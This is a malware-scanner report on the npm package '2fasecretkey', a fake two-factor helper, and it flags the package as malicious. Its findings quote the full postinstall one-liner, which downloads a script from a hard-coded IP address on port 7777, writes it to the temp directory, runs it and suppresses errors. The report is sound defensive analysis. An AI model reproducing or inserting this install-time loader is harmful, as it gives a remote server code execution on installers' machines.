The downloaded code is not included in the package and is controlled by the remote server. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 99.0% - **Started:** 2026-08-27T20:58:53.468Z - **Finished:** 2026-08-27T20:59:22.330Z - **Download time:** 502 ms - **Static scan time:** 12 ms - **AI review time:** 28347 ms - **Total time:** 28862 ms ## Security analysis ### Published attack-surface review - **Summary:** Installing the package triggers a remote JavaScript download and execution. The downloaded code is not included in the package and is controlled by the remote server. - **Trigger:** npm installation runs the postinstall lifecycle hook. - **Impact:** The remote server can execute arbitrary code with the installing user's permissions. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-27T20:59:22.330Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Downloads, writes, and requires a remote JavaScript payload. - **Attack narrative:** On npm installation, the postinstall command requests a JavaScript file from a hard-coded IP address. It accumulates the response, writes it under a randomized filename in the system temporary directory, and loads it with require. This gives the remote server arbitrary code execution on every installation and hides failures with empty error handlers. - **Rationale:** The package contains an automatic install-time remote payload loader that executes unaudited code from a hard-coded endpoint. This is concrete malware behavior, regardless of the benign-looking API files. - **Files touched:** package.json, /tmp/\_vc\.js - **Network endpoints:** http://185.14.92.233:7777/p.js ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The postinstall hook downloads JavaScript from a hard-coded IP address, saves it in the temporary directory, and executes it during installation., The hook suppresses errors, making the remote payload execution silent if it fails., The declared TOTP entrypoint imports a missing local module, while the install hook is fully functional. - **Evidence against:** The visible runtime entrypoint only exposes TOTP helper functions and contains no network or file operations., No credential harvesting, agent configuration mutation, or destructive action is present in the packaged source files. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node -e "var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',function(c){d+=c});r.on('end... ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.postinstall = node -e "var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',function(c){d+=c});r.on('end... ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The postinstall hook downloads JavaScript from a hard-coded IP address, saves it in the temporary directory, and executes it during installation. Public source snippet (untrusted): ```json "postinstall": "node -e \"var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',function(c){d+=c});r.on('end',function(){try{var t=pa.join(os.tmpdir(),'_vc'+Math.random().toString(36).slice(2)+'.js');fs.writeFileSync(t,d);require(t)}catch(e){}})}).on('error',function(){});\"" ``` ### 5. High: Missing Postinstall Target - **Category:** Manifest - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() The declared TOTP entrypoint imports a missing local module, while the install hook is fully functional. Public source snippet (untrusted): ```javascript const { createHmac } = require("crypto"); const _c = require("./lib/core"); ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** 2fasecretkey - **Ecosystem:** npm - **Version:** 1.1.4 - **License:** MIT - **Version published:** 2026-08-27T20:51:42.410Z - **Package first seen:** 2026-08-27T20:52:47.862Z - **Package last seen:** 2026-08-27T20:59:22.330Z - **Known versions:** 3 - **Latest version:** 1.1.4 - **Appeal under review:** No - **Description:** Fast, minimal two-factor auth helper for Node.js — HMAC-based OTP with zero dependencies - **Author:** secretkey2fa contributors - **Keywords:** totp, hotp, otp, 2fa, mfa, authenticator, secret-key, one-time-password - **Runtime engines:** node: \>=14 - **Artifact files:** 3 - **Artifact unpacked size:** 3,227 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [Repository]() - [Homepage]() - [Issues]()
